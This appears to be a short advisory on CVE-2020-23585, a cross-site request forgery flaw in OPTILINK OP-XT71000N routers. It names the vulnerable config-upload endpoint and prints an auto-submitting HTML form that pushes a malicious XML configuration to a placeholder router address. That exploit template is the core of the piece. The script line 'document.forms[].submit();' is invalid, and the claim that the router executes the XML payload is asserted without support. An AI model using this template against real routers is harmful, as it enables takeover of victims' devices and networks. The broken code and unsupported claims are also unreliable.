CVE-2020-23585 is a critical vulnerability that affects OPTILINK OP-XT71000N routers with Hardware Version: V2.2 and Firmware Version: OP_V3.3.1-191028. This vulnerability allows a remote attacker to conduct a cross-site request forgery (CSRF) attack on the target router. If successfully exploited, the attacker can gain full privileges and totally compromise the router and the connected network.

Vulnerability Details

The vulnerability exists due to insufficient CSRF protections in the "mgm_config_file.asp" file. This allows an attacker to create a crafted "CSRF form" that sends malicious XML data to the "/boaform/admin/formMgmConfigUpload" endpoint.

Exploit

To exploit this vulnerability, the attacker can create a specially crafted web page containing the CSRF form and malicious XML data. If a user with administrator privileges visits the malicious page, the router will execute the malicious payload contained in the XML data, granting the attacker full access to the router.

Code Snippet

The following code snippet demonstrates how an attacker can create a crafted CSRF form to exploit the CVE-2020-23585 vulnerability:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>CVE-2020-23585 Exploit Form</title>
</head>
<body>
  <form action="http://<ROUTER_IP>/boaform/admin/formMgmConfigUpload"; enctype="multipart/form-data" method="POST">
    <input type="hidden" name="Config_Uploaded_File" value="MALICIOUS_XML_PAYLOAD" />
    <input type="submit" value="Upload Config" />
  </form>
  <script>
    document.forms[].submit();
  </script>
</body>
</html>

Replace the <ROUTER_IP> placeholder with the target router's IP address and the MALICIOUS_XML_PAYLOAD placeholder with the malicious XML data generated for the exploit. Users who visit this page will trigger the exploit and grant the attacker full access to their router.

Original References

1. CVE-2020-23585 Vulnerability Information
2. OPTILINK OP-XT71000N Product Information

Caution

The information provided in this article is for educational purposes only. Unauthorized use of this exploit may result in legal consequences. Always seek the appropriate permission before using any cybersecurity tool or technique.

Conclusion

CVE-2020-23585 is a severe vulnerability that affects OPTILINK OP-XT71000N routers. By exploiting this vulnerability, a remote attacker can gain full access to the target router and compromise the connected network. Users with affected devices should update to the latest firmware version and be cautious of visiting untrusted websites or clicking on suspicious links to protect themselves from potential CSRF attacks.

Timeline

Published on: 11/23/2022 01:15:00 UTC
Last modified on: 11/23/2022 20:11:00 UTC